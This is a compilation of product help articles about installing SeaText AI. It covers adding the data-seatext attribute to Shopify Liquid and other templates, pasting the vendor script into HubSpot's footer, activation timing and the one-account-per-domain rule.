As long as the theme lets you open the code editor, the SeaText data attribute will work. That includes free themes from the Shopify Theme Store, paid themes, and custom themes. The same code editor is available in every Shopify theme, so you don't need a special theme edition.

If you are using a theme with sections and blocks, you still have access to the underlying Liquid files. Sections and blocks do not prevent you from adding the attribute.

Known limitations to plan for

Before you start, keep these limitations in mind:

• You need a SeaText AI account before you can install the script.
• Each SeaText account is linked to one primary URL. For multiple domains, create separate accounts.
• Development URLs like localhost are restricted for security reasons.
• Dynamic development domains may not work because SeaText cannot reliably associate traffic with your account.
• You need basic HTML skills. If you are not comfortable editing theme files, ask a developer to help.
• The AI stays inert until activated, so no content changes happen before you turn it on.

Key facts at a glance

SeaText AI vs. Shopify's built-in AI tools

Shopify has its own AI features, like Shopify Magic and Sidekick. They live inside the Shopify admin and work on content you create there. SeaText is a separate tool that works at the HTML level on your live storefront. You can use both. They don't conflict, but they are different layers.

SeaText's data attribute is for its own agents. Shopify's AI-generated theme blocks are a separate way to create Liquid blocks. They don't replace SeaText's attribute-based workflow.

FAQ

Do I need a specific Shopify theme for the SeaText AI data attribute?

No. If you can edit the theme's Liquid files, the attribute will work. Follow the same steps for any theme.

Where is theme.liquid in Shopify?

Go to Online Store → Themes → Edit Code. Open the Layout folder, then click theme.liquid.

Can I use SeaText on a development domain?

Only if it is a real, valid domain. Localhost is restricted, and dynamic development domains may not work reliably.

Do I need coding skills?

Basic HTML is enough. You are pasting a script and adding an attribute. Still, review your changes in a preview before publishing.

Can one account cover multiple stores?

No. Each SeaText account is linked to a single primary URL. Create one account per website or domain.

What happens if I skip the data attribute?

The SeaText script will load, but the AI won't know which elements to work on. The data attribute marks the content you want it to optimize.

The SeaText AI data attribute uses a simple HTML attribute syntax: data-seatext="value". You add it to any HTML element that contains text you want the AI to modify. For example: <div data-seatext="product">Product description...</div>. You can also use a custom attribute name if you configure it in your SeaText account. This attribute is the essential marker that tells SeaText which page elements to analyze and rewrite.

What exactly is the SeaText AI data attribute?

The data attribute is a custom HTML attribute that identifies a page element as a target for SeaText's AI agents. It works like a label: SeaText scans the page for elements that have this attribute, reads the current content, and then rewrites that content based on visitor context, campaign keywords, or A/B test variations.

Without this attribute, SeaText does not know which parts of your page to change. It is the bridge between your static HTML and the AI's real-time personalization engine.

Syntax breakdown: attribute name, value rules, quoting, case sensitivity

The default attribute name is data-seatext. You can change this name in your SeaText account settings, but the default works for most installations.

The attribute value is a string you choose. Use descriptive names like product, headline, cta, or description. The value groups elements together. Elements with the same value are treated as a group by SeaText agents.

Quoting follows standard HTML rules. Use double quotes around the value: data-seatext="product". Single quotes also work: data-seatext='product'. Do not leave the value unquoted.

Attribute names are case-insensitive in HTML. data-seatext, DATA-SEATEXT, and Data-SeaText all work. Attribute values are case-sensitive. product and Product are different groups.

You can place the attribute on any HTML element that contains text content: <div>, <span>, <p>, <h1> through <h6>, <li>, <td>, and others. The element must have text nodes inside. Empty elements are ignored.

How SeaText scans and groups elements

When the SeaText script loads, it scans the DOM for elements that have the configured attribute name. It reads each element's attribute value. Elements sharing the same value form a group.

SeaText agents then process each group. For example, all elements with data-seatext="product" receive the same personalization logic. All elements with data-seatext="headline" receive headline-specific logic.

Grouping lets you apply different AI agents to different content types. Product descriptions get ecommerce optimization. Headlines get keyword matching. CTAs get conversion-focused rewrites.

The scan happens after the page loads. Dynamically added elements must have the attribute present when SeaText initializes, or you must trigger a re-scan through the SeaText API.

Shopify Liquid integration: complete before/after example

This process is based on SeaText's official integration guide. Follow these steps to add the attribute to your product descriptions or any other page element.

1. Log in to your Shopify admin and go to Online Store > Themes.
2. Edit your theme code by clicking Actions > Edit Code for your active theme.
3. Locate the product template file (usually product.liquid or product-template.liquid).
4. Find the output code for the product description. It typically looks like {{ product.description }}.
5. Wrap the product description with an HTML element that includes the data attribute. For example:
   <div data-seatext="product">{{ product.description }}</div>
6. Save your changes and preview the page. Use your browser's developer tools to inspect the element and verify that the data-seatext attribute is present.

Before (original theme code):

<div class="product-description rte">
  {{ product.description }}
</div>

After (with SeaText attribute):

<div class="product-description rte" data-seatext="product">
  {{ product.description }}
</div>

You can apply the same method to other elements. For a headline:

<h1 class="product-title" data-seatext="headline">{{ product.title }}</h1>

For a call-to-action button:

<button class="btn add-to-cart" data-seatext="cta">Add to cart</button>

Remember to install the SeaText JavaScript snippet first. The guide says to paste it in theme.liquid inside the <head> tag, then save.

Using the attribute on non-Shopify HTML sites

The attribute works on any HTML website. The syntax is identical. You do not need Shopify.

On a plain HTML page, add the attribute directly to your markup:

<div data-seatext="product">
  <p>This product description will be personalized.</p>
</div>

On a WordPress site, edit the template file (for example single-product.php in WooCommerce) and wrap the content:

<div data-seatext="product">
  <?php the_content(); ?>
</div>

On a React or Vue single-page application, add the attribute to your JSX or template:

<div data-seatext="product">{product.description}</div>

The SeaText script must be included on the page. Paste the provided JavaScript snippet before the closing </body> tag or in the <head>. The script initializes, scans for the attribute, and begins personalization.

Each domain requires its own SeaText account. The source documentation states: "Each SEATEXT AI account is linked to a single primary URL. If you need to use SEATEXT AI on multiple domains, you must create separate accounts for each domain."

Verification and debugging with browser developer tools

After adding the attribute, verify it is present in the rendered HTML.

1. Open your page in a browser.
2. Open Developer Tools (F12 or right-click > Inspect).
3. Go to the Elements tab.
4. Press Ctrl+F (Cmd+F on Mac) and search for data-seatext.
5. Confirm the attribute appears on your target elements with the correct value.

If the attribute is missing, check your template code. Ensure you saved the file and cleared any server-side cache.

Check the Console tab for SeaText script errors. Look for messages like "SeaText initialized" or error messages about account configuration.

Use the Network tab to confirm the SeaText script loaded. Filter by "JS" and look for the SeaText domain. A 200 status means the script loaded. A 404 or blocked request means the script failed.

If the script loads but content does not change, verify your SeaText account is active and the domain matches. The documentation notes: "Development URLs, such as localhost, are restricted for security reasons. Ensure you use a valid, real domain."

Common mistakes with corrected code examples

• Forgetting to install the SeaText script first. The attribute does nothing without the JavaScript snippet. Install the script before adding attributes.

  <!-- Wrong: attribute without script -->
  <div data-seatext="product">Description</div>
  
  <!-- Correct: script in head, then attribute -->
  <head>
    <script src="https://cdn.seatext.com/your-account-id.js"></script>
  </head>
  <body>
    <div data-seatext="product">Description</div>
  </body>

• Using the same attribute value for unrelated elements. SeaText treats elements with the same value as a group. Keep values distinct unless you want them grouped.

  <!-- Wrong: headline and product share value -->
  <h1 data-seatext="content">Title</h1>
  <div data-seatext="content">Description</div>
  
  <!-- Correct: distinct values -->
  <h1 data-seatext="headline">Title</h1>
  <div data-seatext="product">Description</div>

• Not closing the HTML tag correctly. A missing closing tag can break the page layout. Always double-check your markup.

  <!-- Wrong: missing closing div -->
  <div data-seatext="product">{{ product.description }}
  
  <!-- Correct: proper closing tag -->
  <div data-seatext="product">{{ product.description }}</div>

• Placing the attribute on an element that contains no text. SeaText only rewrites text content. Empty elements are ignored.

  <!-- Wrong: empty container -->
  <div data-seatext="product"></div>
  
  <!-- Correct: element with text -->
  <div data-seatext="product">{{ product.description }}</div>

• Using unquoted attribute values. HTML requires quotes.

  <!-- Wrong: unquoted -->
  <div data-seatext=product>Description</div>
  
  <!-- Correct: quoted -->
  <div data-seatext="product">Description</div>

• Adding the attribute to a development domain like localhost. The documentation states: "Development URLs, such as localhost, are restricted for security reasons." Use a real domain or a staging subdomain (e.g., staging.yoursite.com).

Limitations to know

• Each SeaText account is linked to a single primary URL. If you need the attribute to work on multiple domains, you must create separate accounts.
• Development URLs like localhost are restricted. The attribute will not work on local or dynamic development domains.
• The attribute only activates if the SeaText script is loaded. If the script fails to load (e.g., due to a network error), the attribute is ignored and the original content remains.
• You cannot use the attribute to modify non-text content like images or videos. SeaText works on text only.
• Dynamic content added after page load may not be scanned unless you trigger a re-scan via the SeaText API.
• Custom attribute names require configuration in your SeaText account before they work.

Frequently asked questions

What value should I use for the attribute?

Use any string that describes the content type, such as "product", "headline", or "cta". The value must match what you configure in your SeaText account if you plan to use specific agents.

Do I need to add the attribute to every element on the page?

No. Only add it to elements you want SeaText to personalize. Unmarked elements stay unchanged.

Can I use the same attribute value on multiple elements?

Yes, but those elements will be treated as a group. If you want separate control, use distinct values.

Does the data attribute affect SEO?

No. Data attributes are invisible to search engines. They do not affect page rankings or indexing.

What if I forget to add the attribute?

SeaText will not modify that element. It will remain as written in your theme code.

Can I use the attribute on a non-Shopify site?

Yes. The attribute works on any HTML website. The integration steps vary by platform, but the syntax is the same.

How do I test if the attribute is working?

Open your browser's developer tools (F12), go to the Elements tab, and search for data-seatext. If it appears, the attribute is correctly placed.

Why is my content not changing after adding the attribute?

Check that the SeaText script loaded (Network tab), the domain matches your account, you are not on localhost, and the element contains text. Also verify the attribute value matches your agent configuration.

Can I change the attribute name from data-seatext to something else?

Yes, but you must configure the custom name in your SeaText account settings first. The default is data-seatext.

Does the attribute work with single-page applications (React, Vue, Angular)?

Yes. Add the attribute to your component templates. Ensure the SeaText script runs after the component mounts, or call the SeaText re-scan method after rendering.

The data-seatext attribute is a custom HTML attribute. It marks a section of your page for SeaText AI. In Liquid, you add it to any element that contains copy you want optimized. The SeaText AI script reads the attribute and tracks the element.

Why This Matters

SeaText is not a static tag. It activates agents that change copy based on visitor behavior and campaign context. The data attribute gives those agents a clear target. Without it, SeaText may not know which copy to optimize.

The SeaText product page describes these as autonomous AI agents. Three agents are directly relevant to data-seatext:

• Ecommerce Product Copy: optimizes product names, descriptions, and CTAs.
• AI CRO Reading Analysis: analyzes visitor reading and generates winning copy at scale.
• AI Personalization Agent: adapts site copy in real time to visitor context.

When you mark a copy block, these agents have a stable place to work. The attribute is not a styling hook. It is the integration point between Liquid output and SeaText actions.

The AI remains inert until activated. Adding the attribute does not change your store by itself. This makes it safe to add during theme development.

Prerequisites

• A SeaText AI account. You can create one at seatext.com.
• Access to your Shopify theme code: Online Store > Themes > Edit Code.
• The SeaText JavaScript snippet from your account dashboard.
• A Liquid template you can edit, such as theme.liquid or product.liquid.

Step-by-Step Implementation

1. Create or log in to your SeaText account. Copy the JavaScript code from the integration section.
2. Open theme.liquid. In Shopify admin, go to Online Store > Themes. Click the three dots next to the active theme and choose Edit code.
3. Open the Layout folder. Select theme.liquid.
4. Paste the SeaText script. Put the JavaScript snippet in the file and click Save.
5. Find the product template. Look for product.liquid or product-template.liquid.
6. Find the product description output. It usually looks like {{ product.description }}.
7. Wrap the output with the attribute. Add a container element that carries data-seatext. Use a stable unique value such as {{ product.id }}:

<div data-seatext='{{ product.id }}'>{{ product.description }}</div>

8. Save the file. Preview a product page and inspect the HTML. Confirm the attribute is present in the source.

For additional details, see the SeaText AI Scope documentation.

Liquid Examples Beyond Product Descriptions

The same pattern works across Shopify templates. Here are practical examples.

Collection descriptions

<div data-seatext='{{ collection.id }}-description'>{{ collection.description }}</div>

Place this in collection.liquid or collection-template.liquid. It lets the AI optimize the description shoppers see on category pages.

Article content

<article data-seatext='{{ article.id }}-content'>{{ article.content }}</article>

Use this in article.liquid to mark blog content. The AI can then analyze reading behavior on articles.

Page templates

<div data-seatext='{{ page.id }}-content'>{{ page.content }}</div>

This works for about, contact, and landing pages built in page.liquid.

Headings

<h1 data-seatext='{{ product.id }}-title'>{{ product.title }}</h1>

Use a distinct suffix when the same page has multiple marked elements. Here -title separates the heading from the description.

CTAs

<a href='/cart/add' data-seatext='{{ product.id }}-cta'>{{ 'products.product.add_to_cart' | t }}</a>

Marking a CTA lets agents test or rewrite short action text. It also connects to SeaText features that optimize CTAs.

Metafields

<div data-seatext='{{ product.id }}-summary'>{{ product.metafields.custom.summary }}</div>

Metafields store custom content in Shopify. The Liquid object product.metafields.custom.summary outputs the value from the custom summary field. You can mark that value the same way as any other copy block.

Edge Cases and Trade-offs

Missing script

If the SeaText script is absent, the attribute does nothing. It is only a marker. Check theme.liquid before you test.

Stable identifiers

Use stable IDs such as {{ product.id }}. Avoid random strings or session values. If the value changes on every page view, SeaText cannot track the copy block reliably.

Multiple elements on one page

You can mark many elements on the same page. Give each one a unique value. For example, use {{ product.id }}-description and {{ product.id }}-title. Unique values prevent the AI from confusing one block with another.

JavaScript-injected attributes

Adding the attribute with JavaScript is less reliable. SeaText may read the page before the injection happens. Put the attribute in the Liquid-rendered HTML instead.

Liquid syntax errors

A missing bracket or quote can break the template. Use Shopify's code editor. Preview the page after every edit.

Wrong theme

Edit the active theme. A duplicate theme may look correct in preview but not on the live store.

Limitations and Requirements

• Each SeaText account is linked to a single primary URL.
• Multiple domains require separate accounts.
• localhost is restricted for security reasons.
• Dynamic development domains may not work correctly. SeaText may not associate traffic with your account.
• The AI remains inert until you activate it.
• If you use multiple websites, create one account for each website.

Frequently Asked Questions

Which elements should I mark?

Mark elements that contain copy you want to optimize. Product descriptions, headings, CTAs, summaries, and article content are good candidates.

Can I use the same value on two elements?

Yes, but unique values are better. Unique values help the AI track each copy block separately.

Does the attribute affect SEO?

No. Custom data attributes are ignored by search engines. The attribute does not change indexing or ranking.

Should I add the attribute with JavaScript?

No. Put it in the Liquid template. JavaScript injection is less reliable because the AI may run before the attribute exists.

Does this work on any Shopify theme?

Yes, if you can edit Liquid files. The attribute is theme-agnostic and works with free and paid themes.

What if I use headless Shopify?

The Liquid pattern may not apply. Check with the vendor for headless integration options.

How do I remove the attribute?

Delete it from the Liquid template. The AI will then ignore that element. No other changes are needed.

What You Need Before You Start

Before you can connect HubSpot to SEATEXT AI, make sure you have:

• A SEATEXT AI account – If you don’t have one, sign up here (free plan available).
• Admin access to your HubSpot site – You need to be able to edit settings and publish pages.
• The JavaScript snippet – After logging into SEATEXT, go to the integration section and copy the code provided.

This is a simple copy-and-paste process. No coding skills are required. The script is inert until you activate an AI agent, so your site content stays safe during installation.

Step-by-Step Integration Process

Step 1: Log into Your SEATEXT AI Account

Sign in at seatext.com. If you don’t have an account yet, create one first. Your account is linked to a single primary URL, so use the exact domain of your HubSpot site.

Step 2: Copy the JavaScript Snippet

In your SEATEXT dashboard, navigate to the integration section. You will see a JavaScript code block. Copy the entire snippet. Keep it handy – you’ll paste it into HubSpot in the next step.

Step 3: Open Your HubSpot Site Editor

Log into your HubSpot account. Select the page you want to add SEATEXT AI to, then click Edit.

Step 4: Go to Settings > General > Advanced

In the HubSpot editor, click Settings (gear icon) in the top navigation bar. Then go to General and scroll down to Advanced. You’ll see a field labeled Footer HTML.

Step 5: Paste the JavaScript Snippet

Paste the SEATEXT AI JavaScript snippet into the Footer HTML field. Click Save or Apply.

Step 6: Publish Your Changes

Click the orange Publish button at the top right of the HubSpot editor. Your site now has the SEATEXT script installed.

How to Verify the Connection

After publishing, open your site in a browser. Visit or refresh the page several times and stay on the page for at least 40 seconds. This activates the AI and links it to your account.

Then, go back to your SEATEXT dashboard. Wait up to 5 minutes for your website domain to appear next to the SEATEXT logo at the top of the page. If you don’t see it after 10 minutes, contact support – this could mean the script wasn’t installed correctly.

Why does the 40-second visit matter? SEATEXT uses that time to confirm the script is live and associate your domain with your account. It’s a security check that prevents accidental or unauthorized connections.

Activating AI Agents After Connection

Once your domain is connected, proceed to the Main AI Hub in your SEATEXT account. Here you can activate the specific AI agents you need, such as:

• Conversion Rate Optimization
• Google Ads Landing Page AI
• AI SEO Content Factory
• Website Translation
• Bot Protection

Click on Configuration to adjust parameters for each agent. SEATEXT will then automatically start working on your site.

Each agent works independently. You can turn one on and leave others off. This gives you full control over what changes on your site.

Key Facts About HubSpot Integration

This table summarizes the most important details. Keep it handy if you’re planning the integration for a client or a team.

Limitations and Troubleshooting

Multiple Domains

Each SEATEXT AI account is linked to a single primary URL. If you want to use SEATEXT on multiple HubSpot sites (e.g., a dev and a production domain), you must create a separate account for each domain.

This is a deliberate design choice. It keeps traffic attribution clean and prevents data mixing between different websites.

Development URLs

Localhost and dynamic development domains are not supported. SEATEXT may not be able to associate traffic with your account. Always use a valid, real domain.

Dynamic development domains change frequently. That makes it hard for SEATEXT to track which account owns the traffic. Use a stable production domain instead.

Script Not Firing

If your domain doesn’t appear in the dashboard after 10 minutes, double-check that you pasted the full snippet correctly and that the page is published. Also ensure you visited the site on the same domain as your SEATEXT account.

Common mistakes include copying only part of the snippet, pasting it into the wrong field, or forgetting to publish. A quick review of these three steps usually solves the problem.

Security

The script is inert until activated – it won’t affect your site’s content or performance until you turn on an agent in the AI Hub.

This means you can install it safely without worrying about immediate changes. Your visitors won’t see anything different until you choose to activate an agent.

Frequently Asked Questions

How long does it take to connect HubSpot to SEATEXT?

Installation takes under a minute. Activation requires a 40-second visit, and verification takes up to 5 minutes.

Can I use SEATEXT on a staging or test HubSpot site?

Only if the site uses a real, public domain. Development URLs like localhost are restricted for security reasons.

Do I need coding skills to add the script?

No. You just copy and paste the snippet into the Footer HTML field in HubSpot Settings – no custom code required.

What if I have multiple HubSpot sites?

Create a separate SEATEXT AI account for each website. Each account is tied to one primary domain.

Is there a free trial?

Yes, SEATEXT offers a free plan. You can connect and activate agents without any upfront payment.

How do I know the connection is working?

Check your SEATEXT dashboard for your domain name. Also, you can test by activating an agent and seeing changes on your site.

What happens if I don’t visit the site for 40 seconds?

The AI won’t activate. You’ll need to revisit the page and stay for at least 40 seconds to trigger the connection.

Can I remove the script later?

Yes. Just delete the snippet from the Footer HTML field and republish. The AI will stop working on that page.

What to Do After Connecting

Once your HubSpot site is connected, you can start using SEATEXT’s AI agents. The most common next steps are:

• Activate the CRO Optimizer to improve conversions.
• Set up Google Ads Landing Page AI to match ad keywords.
• Enable AI SEO Content Factory to generate search-optimized pages.
• Configure Website Translation to reach international audiences.

All agents are managed from the Main AI Hub in your account. You can turn them on/off and adjust settings at any time.

Start with one agent to see how it works. Then add more as you learn what fits your site best.

Integrating SEATEXT AI with your HubSpot website adds real-time AI agents to your site. These agents can rewrite page copy, run A/B tests, and adapt content for each visitor. The process is simple and takes under 10 minutes.

Start by logging into your SEATEXT AI account to get your unique JavaScript code. Then follow the HubSpot integration steps below to deploy it across your entire website.

Prerequisites and Account Setup

Before starting, you need an active SEATEXT AI account. If you don't have one, create it on the SEATEXT AI website. The AI remains inactive until you activate it, so your site content is safe during setup.

You also need administrative access to your HubSpot account. You must be able to modify site settings and edit the footer HTML. If you are not the admin, ask your HubSpot Administrator to grant you App Marketplace Access. This allows direct app installation.

Step-by-Step Integration Process

1. Open your HubSpot account and select the page you want to add SEATEXT AI to. Click on edit.
2. Navigate to Settings by going to your HubSpot website, click on "Settings" > "General".
3. Access Advanced Settings by going to "Advanced". You will find the "Footer HTML" field.
4. Copy and paste the JavaScript snippet from your SEATEXT AI account into the Footer HTML field. The snippet looks like: SEATEXTCODEINTEGRATION.
5. Publish your changes by clicking the orange button at the very top right of your HubSpot editor.

Why Integrate SEATEXT AI with HubSpot?

SEATEXT AI gives your HubSpot website powerful real-time capabilities. It can rewrite landing pages to match Google Ads keywords. It runs A/B tests on copy without manual work. It even translates your site into 125 languages automatically.

These AI agents help you increase conversion rates. For example, the Google Ads Landing Page Agent adapts the page to each search query. The AI CRO Reading Analysis Agent studies how visitors read and suggests better copy. The result is more leads and sales from your existing traffic.

All this happens without slowing down your site. The JavaScript loads asynchronously, so it does not block page rendering. The AI agents activate only when needed, based on visitor behavior.

Understanding the JavaScript Snippet

The JavaScript snippet is a small piece of code. It is unique to your SEATEXT AI account. When you paste it into HubSpot, it connects your site to the SEATEXT AI platform.

The snippet is secure. It only loads the AI agents you enable. It does not collect personal data. It uses encryption to communicate with SEATEXT servers. The AI remains inert until you activate it from your dashboard. This means your site visitors see no changes until you turn on the agents.

Performance is not affected. The code is lightweight and loads after your main page content. It does not block other scripts or styles. You can test this by checking your site speed before and after installation.

Multiple Domains and Account Management

If you need SEATEXT AI on multiple domains, you must create separate accounts. Each SEATEXT AI account is linked to a single primary URL. This includes development and production domains.

Development URLs like localhost are restricted for security reasons. Use a valid real domain for each account. Dynamic development domains may not work because SEATEXT AI cannot reliably associate traffic with your account.

To use SEATEXT AI on several websites, create one account for each website. This ensures proper tracking and activation of AI features for each domain independently. For example, you might have accounts for your main site, a staging site, and a multilingual microsite.

Activation and Verification

After installing the script, you need to activate the AI. Visit or refresh your website several times. Stay on your page for at least 40 seconds. This activates the AI and links it to your account.

Wait at least five minutes. Then check your SEATEXT AI dashboard. Your website name should appear next to the SEATEXT logo at the top. This confirms the connection is working.

If you do not see your website name after 10 minutes, contact SEATEXT support. There may be an installation issue. They can help you resolve it quickly.

Post-Integration: Activating AI Agents

Once your website is connected, you can activate specific AI agents. Go to the Main AI Hub in your SEATEXT AI dashboard. Click on "Configuration" to adjust the AI parameters for each agent.

For example, you can activate the Google Ads Landing Page Agent to rewrite pages for each keyword. Or the AI CRO Reading Analysis Agent to study visitor behavior. The AI SEO Content Factory Agent can publish thousands of indexed Q&A pages automatically.

You can also edit translations and variants. Log in to your SEATEXT AI account, navigate to "Variants Edit" in the left panel. Select the URL and language you want to edit. Here you can review, create, or manually edit translations for your variants. SEATEXT AI provides your initial round of automatic translations for testing.

Common Mistakes to Avoid

• Skipping account creation: You cannot install SEATEXT AI without first creating an account. The installation process requires your unique JavaScript snippet.
• Using localhost or development domains: These are restricted for security reasons and may not function properly with SEATEXT AI.
• Not waiting for activation: Rushing through the process without allowing time for the AI to connect can lead to confusion about whether the integration worked.
• Using the same account for multiple domains: Each domain needs its own SEATEXT AI account for proper functionality.
• Ignoring admin permissions: You need administrative access to HubSpot to modify footer HTML. Without it, the integration will fail.

Limitations and Considerations

SEATEXT AI works best with real, live domains. Dynamic development domains like those from Heroku or Netlify may not work. Each account is tied to one URL, so you need separate accounts for staging and production.

The AI agents are designed for public websites. Private or password-protected pages may not trigger the AI correctly. Also, the JavaScript snippet must be placed in the footer HTML of every page. If your HubSpot theme uses a different footer structure, contact support for custom instructions.

Performance is generally excellent. But heavy customization of the snippet could cause conflicts with other scripts. Test on a staging site first if you have many custom scripts.

FAQ: Frequently Asked Questions

Do I need technical expertise to integrate SEATEXT AI with HubSpot?

No technical expertise is required. The integration involves copying a JavaScript snippet and pasting it into HubSpot's Footer HTML field. Most users can complete it in under 10 minutes.

What if my changes don't appear after publishing?

Wait at least five minutes for the system to process your changes. If your website name doesn't appear next to the SEATEXT logo after 10 minutes, contact support. There may be an installation issue.

Can I use SEATEXT AI on both my staging and production sites?

Yes, but you need separate SEATEXT AI accounts for each domain. Each account is linked to a single primary URL. Staging and production require individual configurations.

How does SEATEXT AI affect my website's performance?

SEATEXT AI is designed to be lightweight and loads asynchronously. The AI remains inert until activated. This minimizes any potential impact on your site's loading speed during installation.

Can I customize the AI behavior after integration?

Yes, you can adjust AI parameters through the Configuration section in your SEATEXT AI dashboard. You can also manually edit translations and variants for specific pages and languages.

What if I don't have admin access to HubSpot?

You need admin access to modify the footer HTML. If you don't have it, ask your HubSpot administrator to paste the snippet for you. They can also grant you App Marketplace Access.

Seatext activates on HubSpot roughly 5–6 minutes after you finish installing the script. The official instructions require two timing steps: stay on your page for at least 40 seconds, then wait at least 5 minutes for your website to appear in your Seatext account. If your site name has not shown up after 10 minutes, contact Seatext support.

The actual JavaScript install takes under a minute, since HubSpot lets you paste the snippet into the site-wide footer HTML. The longer wait is for the activation check, not for the code itself.

This guide explains the timeline, the HubSpot steps, the account rules, and what to do after activation. It uses only the steps and warnings in Seatext's official HubSpot integration guide.

The short answer: 5–6 minutes after publish

The direct answer is 5–6 minutes from publish to ready. That number includes the 40-second page visit and the 5-minute dashboard refresh check. The 10-minute support checkpoint is the safety margin.

• Copy the JavaScript snippet from your Seatext account: 1 minute
• Paste it into HubSpot's Footer HTML and publish: under 1 minute
• Visit or refresh your website and stay on the page: at least 40 seconds
• Wait for your website name to appear in Seatext: at least 5 minutes
• Support checkpoint if it does not appear: 10 minutes

These are the official timing steps. Do not skip the visit and do not shorten the dashboard wait.

What activation means on HubSpot

In Seatext's setup, activation means the moment your website is linked to your account and the AI is ready to run on that domain. The JavaScript snippet stays inert until you trigger it with a real visit. That is why the instructions tell you to refresh your site several times and stay for at least 40 seconds.

Once the link is made, your website name appears next to the SEATEXT logo at the top of your Seatext dashboard. That is the green light to turn on agents in the Main AI Hub.

Why does this matter? A script that activates without a check could run on the wrong domain or on a staging site. The visit connects the script to your account and to the exact primary URL you chose.

Step-by-step: Install Seatext on HubSpot

1. Create a Seatext account. The integration guide says you need an account before you can install the script. If you don't have one, create it first.
2. Open the HubSpot integration guide and copy the JavaScript snippet from the SEATEXT AI section.
3. In HubSpot, open the page where you want Seatext and click Edit.
4. Go to Settings > General. Then open Advanced and find the Footer HTML field.
5. Paste the JavaScript snippet into Footer HTML.
6. Publish your changes using the orange button at the top right.
7. Visit or refresh your website several times. Stay on the page for at least 40 seconds. This activates the AI and links it to your account.
8. Wait at least 5 minutes. Your website name should appear next to the SEATEXT logo at the top of your Seatext page.
9. If it still has not appeared after 10 minutes, contact Seatext support.
10. Once it appears, go to the Main AI Hub to activate the AI on your preferred pages and open Configuration to adjust settings.

Use a valid, real domain. The script will not activate on localhost, and dynamic development domains can fail to connect traffic to your account.

Why the 40-second visit and account rules matter

The 40-second visit does two jobs. It tells Seatext that the domain is live, and it links that domain to your account. The source guide says the AI remains inert until this activation step.

If you only paste the snippet and never visit the page, Seatext has no traffic signal to associate with your account. The 40 seconds gives the script time to load and communicate with Seatext's servers.

The account rules are just as important. Each SEATEXT account is linked to one primary URL. If you want to use Seatext on a development domain and a production domain, you need two accounts.

Development URLs such as localhost are restricted for security reasons. Dynamic development domains may not function because Seatext might not be able to reliably associate traffic with your account. Use a real, valid domain for tests.

If you run several websites, create one account for each website.

After activation: Main AI Hub, Configuration, and Variants Edit

Seeing your website name is not the end of the setup. It only means the connection is ready. You still need to switch on the AI functions you want.

Go to the Main AI Hub first. There you can activate the necessary AI on your preferred pages. The homepage describes this as Step 2: activate the autonomous agents you need. The agents include AI CRO Reading Analysis, Google Ads Landing Page AI, Website Translation, and more.

After that, click Configuration to adjust the AI parameters. This is where you control how each agent behaves on your site.

There is also an optional editing step. Seatext provides an initial round of automatic translations and variants for testing. Log in to your Seatext account and navigate to "Variants Edit" in the left panel. Select the URL and language you wish to edit. You can review, create, or manually edit translations for your variants.

This Variants Edit step is useful after the website name appears. It lets you check what the AI generated before you push changes live.

Key facts at a glance

Use these numbers when planning your HubSpot setup.

Limitations and edge cases

Activation is not the same as configuring your agents. After the website name appears, you still need to go to the Main AI Hub and turn on the AI on your preferred pages.

The biggest limit is the one-account-per-domain rule. If you want Seatext on a staging or development domain plus your production domain, you cannot use the same account. Create a separate account for each domain.

Practical example: one production site with one primary URL needs only one Seatext account. If you add a staging copy on a different domain, use a second account for that test domain.

Development URLs such as localhost are restricted. Dynamic development domains may not work because Seatext may not be able to reliably match traffic to your account. Use a real, valid domain for tests.

If you run several websites, each website gets its own Seatext account.

Troubleshooting: if your website doesn't appear

If your website name doesn't appear, check these things in order.

• Did you paste the snippet into HubSpot's Footer HTML and publish? Check the orange publish button at the top right.
• Did you use the correct domain? Your account is linked to a single primary URL.
• Did you refresh the site several times and stay for 40 seconds? One quick load may not be enough.
• Are you on localhost or a dynamic dev domain? Those are restricted or may fail.
• If nothing appears after 10 minutes, contact Seatext support. The guide says this could indicate an installation issue.

Frequently asked questions

Do I need a Seatext account before adding the script to HubSpot?

Yes. The integration guide says you need an account before you can install the script. If you don't have one, create it first.

Does Seatext work on localhost?

No. Development URLs such as localhost are restricted for security reasons.

Can I use one Seatext account on multiple domains?

No. Each account is linked to one primary URL. Create a separate account for each website or development domain.

What should I do if my website name does not appear after 5 minutes?

Keep waiting up to 10 minutes. If it still has not appeared, contact support immediately because this could indicate an installation problem.

What is the first step after activation?

Go to the Main AI Hub to activate the AI on your preferred pages. Then use Configuration to adjust the AI parameters.

Can I edit the translations and variants Seatext creates?

Yes. Use the optional Variants Edit step. In your Seatext account, open Variants Edit in the left panel, choose the URL and language, and review or edit the variants.

Why can't I use a development domain?

Seatext restricts localhost for security reasons. Dynamic development domains may fail because Seatext may not be able to reliably associate traffic with your account. Use a real, valid domain.

To manage multiple SeaText accounts for different websites, create a separate SeaText account for each primary domain, install that account's JavaScript snippet on the corresponding site, visit the live page for at least 40 seconds, wait 5–10 minutes for the domain to appear in the dashboard, and then activate AI agents per account.

Why SeaText Requires One Account Per Domain

SeaText links each account to a single primary URL for security and tracking. The platform uses the domain to associate traffic, activate AI agents, and report performance. Because of this architecture, you cannot add multiple websites to one account — even subdomains or staging environments need their own account if they use different URLs.

How SeaText Links Traffic to a Single Primary URL

When the snippet loads, it sends the current hostname to the SeaText backend. The backend matches that hostname to the account that was created with the same primary URL. Only traffic from the matching hostname is recorded for that account. This design prevents cross‑domain data leakage and ensures each site gets its own AI configuration.

Step-by-Step Setup for Each Website

1. Create a new SeaText account for the target domain. Use the website's exact production URL during signup.
2. Copy the JavaScript snippet from the new account's integration page.
3. Paste the snippet into the site's footer HTML (or equivalent global code injection area). In HubSpot, go to Settings > General > Advanced > Footer HTML.
4. Publish the changes so the script loads on every page.
5. Visit the live site and stay on the page for at least 40 seconds. This triggers the initial handshake between the script and your account.
6. Wait 5–10 minutes, then check the SeaText dashboard. The website name should appear next to the SeaText logo at the top of the page.
7. If the domain does not appear after 10 minutes, contact SeaText support — this usually indicates an installation issue on your platform.
8. Activate AI agents from the Main AI Hub for the newly registered domain.

HubSpot Integration Details

Open your HubSpot account and select the page you want to add SeaText AI, then click Edit. In the left navigation, choose Settings > General. Scroll to the Advanced section and locate the Footer HTML field. Paste the JavaScript snippet you copied from SeaText. Click the orange Publish button at the top right to save. The snippet will now load on every HubSpot page that uses that template.

Daily Workflow for Managing Multiple Accounts

Log in to each account separately using a password manager or distinct browser profiles. Switch profiles to avoid cookie conflicts. In each account, open the Main AI Hub to review active agents. Use the Variants Edit panel in the left navigation to adjust translations or copy variants for a specific URL and language. Record any performance notes in a shared spreadsheet so you can compare results across sites without a unified dashboard.

